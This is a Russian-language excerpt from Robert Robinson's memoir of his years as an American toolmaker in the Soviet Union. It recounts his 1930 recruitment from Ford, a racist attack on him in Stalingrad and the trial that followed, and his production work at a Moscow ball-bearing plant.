Робинсон так и не создал в России семью. Он жил мечтой вернуться в США, но путь на Запад ему, как и любому советскому гражданину, уже был заказан. И все же в 1974-м Робинсона (ему было 67 лет), выпустили на родину. В 1988 году вышла его книга «Чёрный о красных. 44 года в Советском Союзе. Автобиография черного американца». Мы публикуем отрывок из неё, в котором можно увидеть вклад американцев в советскую индустриализацию.
Всё началось в апреле 1930-го. В Детройт приехали русские. Однажды я увидел, что по нашему шлифовальному участку, на котором изготавливали фасонные штампы, расхаживают четверо незнакомых мужчин. Они остановились возле моего станка. Я продолжал работать, чувствуя на себе их взгляды. В какой-то момент, подняв глаза, увидел, что самый солидный в группе указывает на меня своему более молодому спутнику.
Молодой человек поинтересовался, не хочу ли я поехать в Россию обучать русских рабочих своей профессии. «Хочу, конечно», — ответил я. «Я ознакомился с вашими профессиональными достижениями, изучил вашу биографию и наклонности. Кого ни спрашивал, все высоко отзываются о вас».
Русский был настолько уверен в моей высокой квалификации, что обещал освободить от обязательных для претендентов экзаменов по математике и черчению. Затем последовало предложение немедленно подписать годовой контракт. «Разумеется, его можно будет продлить, если вы хорошо себя проявите».
Тут только я пришел в себя и понял: этот человек не шутит. А какие условия он мне предлагал! У Форда я зарабатывал 140 долларов в месяц, и на большее рассчитывать не приходилось. Русский предложил 250, бесплатное жильё, обслугу, месяц оплачиваемого отпуска, бесплатный проезд в обе стороны. Кроме того, он обещал, что 150 долларов из зарплаты будут поступать на мой счёт в американском банке.
Я слушал и не верил своим ушам. Мысли теснились в голове: «Америка в тисках тяжелой депрессии, не сегодня завтра меня могут уволить. Судя по тому, сколько желающих поработать в России собралось в соседней комнате, даже белые американцы считают это предложение заманчивым. Так почему бы и мне им не воспользоваться?»
Я возвращался со смены домой. Мой третий день на Сталинградском тракторном прошёл хорошо, я постепенно втягивался в рабочий ритм, производительность росла, окружающие относились ко мне без всякого предубеждения. В какой-то момент моё внимание привлек верзила-американец. Он шел навстречу, понемногу замедляя шаг. Я почувствовал недоброе и весь напрягся. Верзила поравнялся со мной. «Робинсон, пойдёшь на Волгу — будь начеку! Когда ты появился здесь, наши все собрались и решили тебя утопить».
С этими словами американец удалился. Прогулки на реку доставляли мне большое удовольствие, и отказываться от них не хотелось. «Но ведь это же Россия, — успокаивал я себя, — здесь всё-таки шансы быть убитым из-за цвета кожи намного меньше, чем в Штатах».
Как-то раз, возвращаясь с ужина, я заметил, что меня нагоняют двое американцев, через несколько секунд они со мной поравнялись. Позднее я узнал их имена — Льюис и Браун. «Ниггер, — обратился ко мне Люис, — откуда ты взялся? Как ты сюда попал?»
«Так же, как и вы».
«Даем тебе 24 часа. Если за это время не уберёшься, — прошипел Браун, — пеняй на себя».
И тут вдруг Льюис, развернувшись, двинул меня кулаком, а Браун стал крутить мне руки за спину. Но я вырвался и нанес Льюису ответный удар. Мелькнула мысль: «Никому больше не позволю безнаказанно надо мной издеваться, никому!»
Эти двое навалились на меня, стремясь повалить на землю. Брауну удалось сзади обхватить меня, прижав руки к корпусу, так что я не мог защищаться.
И тут что-то копившееся внутри меня годами прорвалось. Ярость выплеснулась наружу. Извернувшись, я впился зубами в шею Люиса. Браун старался оторвать меня, но я не разжимал зубов, хотя чувствовал во рту вкус крови. Льюис вопил, как резаный.
На крики сбежался народ. Меня стали оттаскивать от Льюиса, уговаривали отпустить его. Я не сдавался, но в конце концов общими усилиями им удалось со мной справиться. Когда Люиса уводили, он стонал, по шее у него струилась кровь. За ним как побитая собака плёлся его дружок.
Дома я упал на кровать без сил, но с таким пьянящим чувством освобождения, какого мне не доводилось испытывать. Из этого блаженного состояния меня вывел стук в дверь. Не дружки ли моих обидчиков пришли довершить начатое? Передо мной стояли милиционер и ещё двое мужчин. Внешность их внушала доверие. Меня вежливо пригласили пройти в отделение милиции, чтобы изложить там свою версию инцидента. Начальник попросил рассказать, что произошло, слушал вполне сочувственно и сразу же отпустил домой.
Сталинградская газета поместила передовую статью с резким осуждением расистской выходки американских специалистов, расценив её как попытку экспортировать поразившую Америку «социальную заразу» в Россию. На заводе все — от уборщиков до начальников — обсуждали этот инцидент и дружно клеймили моих обидчиков. Во мне видели героя.
Через три дня после инцидента на площади перед зданием заводоуправления состоялся массовый митинг. Тысячи людей — все рабочие завода: мужчины, женщины, многие даже детей привели — внимали пламенным речам ораторов, клеймивших язвы расизма. Всякий раз, когда выступающий заводил речь о том, какую прогрессивную позицию занимает советское правительство в расовом вопросе, люди громкими криками выражали свое одобрение. Когда же зачитали резолюцию, призывающую строго наказать напавших на меня американцев, толпа просто взорвалась криками одобрения. Копия резолюции была отправлена телеграфом в Москву и в местные газеты.
Через неделю после той стычки заводское начальство попросило меня снова посетить отделение милиции. Там меня представили адвокату, его помощнику, секретарю суда и прокурору. «Зачем мне адвокат?» — поинтересовался я. «Затем, что американцы, совершившие на вас нападение, нарушили советский закон и будут преданы суду».
Судиться мне ни с кем хотелось, но я понимал, что лучше не возражать, а то еще вышлют в Штаты. Великая депрессия была в самом разгаре, и шансы найти там приличную работу равнялись нулю.
На следующий день, после конца смены, в шесть часов вечера начался суд. Я пришёл за пятнадцать минут до начала. Столпившиеся у входа люди выказывали мне всяческие знаки внимания, словно я был знаменитым актером, политиком или героем войны.
Когда адвокат обвиняемых вызвал меня для дачи показаний, я подумал, что он сейчас наверняка попытается вывернуть всё наизнанку, представить дело так, будто это я во всем виноват. Однако он был на удивление доброжелателен, вопросы задавал ясные и простые, без казуистических уловок, и не брал под сомнение правдивость моих ответов. Обвинитель же, напротив, допрашивая Льюиса и Брауна, не давал им спуску. Публика в зале выражала ему полное одобрение; все явно ждали, что он потребует для подсудимых максимально строгого наказания. Прокурор попросил приговорить Люиса и Брауна к 5 годам лишения свободы. Защита ходатайствовала о смягчении приговора.
Судья признал обоих американцев виновными и приговорил к немедленной депортации из Советского Союза. Возвращаться в охваченную кризисом Америку они не хотели и подали апелляцию в Верховный суд. Приговор Льюису оставили в силе, Брауну же позволили доработать год. В конце срока он попросил продлить контракт, но ему отказали.
В глазах русских я сделался настоящим героем, олицетворением добра, торжествующего над злом. Меня буквально засыпали письмами, они шли со всех уголков страны. И в каждом выражение солидарности и симпатии. Несколько крупных советских предприятий предложили мне работу.
До истечения контракта оставалось ещё три месяца, когда меня вызвали в заводоуправление и предложили остаться ещё на год. Я понимал, что для американцев — особенно чернокожих — времена настали тяжелые. А здесь я хорошо зарабатывал и каждый месяц мог посылать матери в Гарлем 150 долларов. Меня уважали товарищи по работе и ценило начальство.
Сомнений не было, контракт надо подписывать.
Я многого ждал от следующего года в России: хотелось добиться ещё более высокой производительности труда, и поэтому я полностью отдался работе. Стать передовым рабочим было важно ещё и потому, что это позволяло избегать разного рода осложнений социального и политического характера. На советских предприятиях жизнь устроена совсем не так, как на американских. На заводе Форда работа — просто работа, не более и не менее. Разумеется, и там есть какая-то социальная жизнь, но процесс это естественный, а не насаждаемый сверху. На Сталинградском же тракторном работа расценивалась как некое политическое действие, там вообще политизировалось всё и вся. Недисциплинированность, нерадивость, невыполнение производственного плана расценивалось коммунистами, занимавшими на заводе ключевые административные должности, как отсутствие патриотизма.
В конце июня 1932 года мой контракт истёк, и я поехал в Москву.
Там я обратился в организацию под названием ВАТО, которая должна была обеспечить меня обратным билетом. Чиновник, изучив бумаги, сказал, что Первому московскому шарикоподшипниковому заводу, пущенному три месяца назад, как раз нужны специалисты моей квалификации. Он предложил немедленно туда отправиться, чтобы переговорить с директором Бодровым. Поскольку в Сталинграде я был вполне доволен своей работой, а политическое давление в последнее время ослабло, прежней уверенности, что нужно срочно уезжать, у меня не было. Поэтому я не стал отказываться. В моё распоряжение предоставили машину с шофёром, и через пятнадцать минут мы уже въезжали в заводские ворота.
Директор, мужчина среднего роста приятной наружности, встретил меня с распростёртыми объятиями. Он долго восхищался моими профессиональными достижениями, говорил, что ему нужен именно такой специалист, и с ходу предложил подписать годовой контракт. Я не стал тянуть с решением и согласился.
Иностранные специалисты, работавшие на Первом шарикоподшипниковом, жили в двух 5-этажных кирпичных домах. Кого только там не было: немцы, англичане, американцы, шведы, французы, румыны, австрийцы, венгры, словаки, поляки, итальянцы — всего более трехсот человек, многие с семьями. Поскольку я был холост, мне предоставили комнату в двухкомнатной квартире. Я устроился и на следующий день вышел на работу.
Меня назначили на калибровочный участок, где стояли три плоскошлифовальных и один круглошлифовальный станок. Трудились на участке человек тридцать, а всего в цехе было более семисот пятидесяти рабочих. Обеспечивать высокую точность обработки никто здесь не мог, поэтому последние 0,015 дюйма оставляли для ручной доводки — металл шлифовали вручную, чтобы получить требуемый размер. На эту операцию уходила масса лишнего времени.
Я составил список из семнадцати приспособлений, необходимых для нормальной работы, и засел за чертежи. Корпел над ними и на заводе, и после смены дома. Когда половина устройств была спроектирована, отнёс листы начальнику цеха. Изучив их, он поинтересовался, не инженерное ли у меня образование. Узнав, что я окончил всего лишь техническое училище на заводе Форда, он удивленно покачал головой. Две недели спустя я получил часть заказанных приспособлений. Мне дали шестерых учеников — по трое на смену. Они обрабатывали детали начерно, а я потом доводил их до нужных размеров. За полтора месяца мы добились того, что на ручную притирку оставалось только 0,02 миллиметра, против прежних 0,2—0,3. Окончательную доводку рабочий теперь производил всего за 25 минут вместо пяти-шести часов. Еще через два месяца в 80% случаев доводка уже вовсе не требовалась — производительность выросла в семь раз.
Когда на завод пришёл станок, позволявший шлифовать криволинейные поверхности, работать на нем поручили мне. В помощь я получил ещё двух учеников, и, таким образом, под моим началом оказалось восемь человек. Приходилось чуть не каждый день работать по две смены, поскольку ученикам не хватало опыта и в моё отсутствие они допускали брак.
Я начинал в 7:30 и практически без перерыва трудился до 10-11 вечера. Никаких дополнительных денег мне за это не платили. Единственной наградой, которую я получил за четыре года такой работы, была путёвка в Крым на двадцать четыре дня стоимостью 800 рублей.
И всё же надо признать, что 1932-й и первая половина 1933 года сложились для меня удачно: в профессиональном отношении я за этот период очень сильно вырос. Цех был моей лабораторией, где я мог придумывать и создавать механизмы. Благодаря им производительность на нашем участке была самой высокой на заводе. Всё это, а также уважение, которым я пользовался у рабочих, особенно русских, не могло не радовать. Но главное, от чего я получал удовлетворение, — это возможность самому ставить задачу и находить её решение. Для меня работать на Шарикоподшипниковом было все равно, что играть в любимую игру и еще получать за это деньги.
Учитывая мои успехи в труде, администрация завода разрешила мне летом 1933 года съездить в Америку, повидать мать. Перед отъездом я получил предложение подписать еще один годовой контракт. На заводе знали, как я люблю свою работу, но контракт служил дополнительной гарантией, что я вернусь».
Источник:
пишет:
